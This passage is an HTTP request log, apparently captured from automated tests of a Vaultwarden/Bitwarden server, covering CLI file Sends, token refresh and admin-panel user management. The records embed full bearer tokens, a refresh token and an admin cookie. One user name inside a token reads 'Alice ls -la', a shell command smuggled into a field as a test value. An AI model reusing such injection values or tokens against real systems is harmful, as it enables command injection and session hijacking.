QfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 573", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"fileLength\":81,\"name\":\"2.fIOYeJ49y9bbSOIrTWB8Tg==|lG6dTyboxM1e9/rKOgjqj5M2K8LRDZkgK9PC7mY7+iM=|ovg9kGfYJiw+Z2fkoxlIGRUbLUQvZ7W6qKhg6Ii8eZY=\",\"notes\":null,\"maxAccessCount\":null,\"expirationDate\":null,\"deletionDate\":\"2026-11-17T03:40:40.356Z\",\"key\":\"2.e98n46q6Bbq67Cg8g+L2zg==|MPPYMlVRv6mjAEfJxdINlsbc1h1YjLBVxdqMp5RcwSM=|ptNOZ/K5QBYQfV5duCfbJyQLtDU+D9YWqMUIuBe7ZUY=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"file\":{\"response\":null,\"fileName\":\"2.hKZIecnzplq5vLcUpDnNiw==|ncRZKt9nZMucGFW9S+7VWQ==|35kqx0tvASf+JtuHDZ3l4zmlsr4DmZ9nEGwkUzmajUY=\"}}"}
{"method": "POST", "target": "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: multipart/form-data;boundary=--------------------------cd31a7a799e8e9553f39d744", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 416", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "----------------------------cd31a7a799e8e9553f39d744\r\nContent-Disposition: form-data; name=\"data\"; filename=\"2.hKZIecnzplq5vLcUpDnNiw==|ncRZKt9nZMucGFW9S+7VWQ==|35kqx0tvASf+JtuHDZ3l4zmlsr4DmZ9nEGwkUzmajUY=\"\r\nContent-Type: application/octet-stream\r\n\r\nAhGddhsKRanJRkfPJCMMp6ezfiWDHsnuvmwtF7N7UpvPnTnoowgSohWHxGCZ3ulQ8FxGy4JGqC5zUts9GZL/dLhORzIZirtS+le50pV3zlmx\r\n----------------------------cd31a7a799e8e9553f39d744--\r\n"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Accept: application/json", "Cache-Control: no-store", "Content-Type: application/x-www-form-urlencoded", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Content-Length: 90", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "client_id=send&grant_type=send_access&scope=api.send.access&send_id=zZ-UYEZUQQGMTBTwbx5prg"}
{"method": "POST", "target": "/api/sends/access/file/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwNDIsImV4cCI6MTc5NDI4MjE2MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiY2Q5Zjk0NjAtNDY1NC00MTAxLThjNGMtMTRmMDZmMWU2OWFlIn0.bBP1AOqOFHEZ9Kp5lnPPuoGpEUEVKbQe9w4LP8bVQR0mNzc8gf9X0YZ8TV8XU4rJatcvrJxf1YRPsuSL-M28cqIIBmzTXW9SzC9YwUe9DNH9zHmiTkgd9m7STn4_D8vCikyIGIpJj9wDWhNi3GGEtKjFC-luKlLS1F9KbLHhKC7iec6ZyaslQMCljBe7XeA7krTYy1ocvrAKCvkf5W_i3m7NjF-sYEvgxBg-rKHxVnJT893xvMBuAGtsnklmHEZbFZb3mgODOZ2SXAB8yOwWHQd8vcHV3Q4r7__dy2APzAgeKX1nuICV32qxs86hgkVwTTp8pldIaoJspD5dLkfexw", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc?t=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwNDIsImV4cCI6MTc5NDI4MjE2MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiY2Q5Zjk0NjAtNDY1NC00MTAxLThjNGMtMTRmMDZmMWU2OWFlLzVhMDg3YTUyZWFhNTc5NjU3YjA0ZWViNDQzZmU3ZDcwMTljOTcwNDE3MDZkMGRjNTA4Nzc4NGQwZTBmMjE2ZGMifQ.BvfmaV_eKuWeJSumz8-bXFCPsbWIZRCWB0Laoz6knCnInLj7YY4lxh2WY1h_gnp_pHjDOFKffmGxAlIjoeV_L2lMGxUZM-Fmcc1FOQNbphWfkdEMVfGUIX_todgUgXuhn9-uwAUdC4Ff9nif4Vdg6uVwW7lw7NaY9uym4vEUw1a3F_I7a3AI1S6k3bVrUCadJiBZV8vz2-66U3g4jgQaCpjgPF-7S7CyuaWcSIyuyZpwNxa3Zzvuz1ccOWxjxjhm8-n9jvMZ3FGDf7S6o86y-aOHVRMacu7ZwhvteAO3NIPtajnChwwso0Ay1pi_4va_Mmp-HV1gyd0jD43V-vSrSw", "headers": ["Cache: no-cache", "Accept: */*", "User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/delete", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/restore", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Accept: application/json", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 707", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "grant_type=refresh_token&client_id=cli&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5Njg3Mzk5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiN0ZTNW1CcHIxZlJoMHdkZFBNZ0JPTGxid3Q2aW1CeWZja2p3M29HcU9NZFVUc01OSDU5dlQ2a0daUm5tT0xSdUFfYTZnalVKUFJBLThvUUlleWg2ZHc9PSIsInRva2VuIjpudWxsfQ.g8yTHdeqO507J6r5lc-ImMnTgv4ijYZKSX9JguMcKSu3fphEgKp0rPv5q56SwocChSoP9KLo7mw_PzVKvFLBP70p0NIJ6SaT26GLCy9B04gI5kiNmUT00H4-1wHUDVC_OwVLNLuTpiX-U--GdEtSSdcOqSCSo7epRyP0cCIuoZoYiDHM8uVY5DiBkzAB5wVi-_xgZPOJHVzddNq9506LqBJngbF1Bo5tVn_R8WhLmKK7mtI9tm52eOZaa5o6TXn1nNgZ3oNXcWDcyf6tj_M2fkhFOzgsuMg6YdeydOO20_GCuC0OLccj8RCzAZlMh-goA1v_yQF2RmoXJqfKBEbubA"}
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 28", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": "{\"email\":\"dave@example.com\"}"}
{"method": "POST", "target": "/admin/users/529697bc-3613-4f2c-8e60-51d23c94896a/invite/resend", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/disable", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/deauth", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/admin/users/update_revision", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/organizations/overview", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/vw_static/admin_organizations.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/organizations/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/vw_static/admin_diagnostics.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/webauthn-connector.html", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
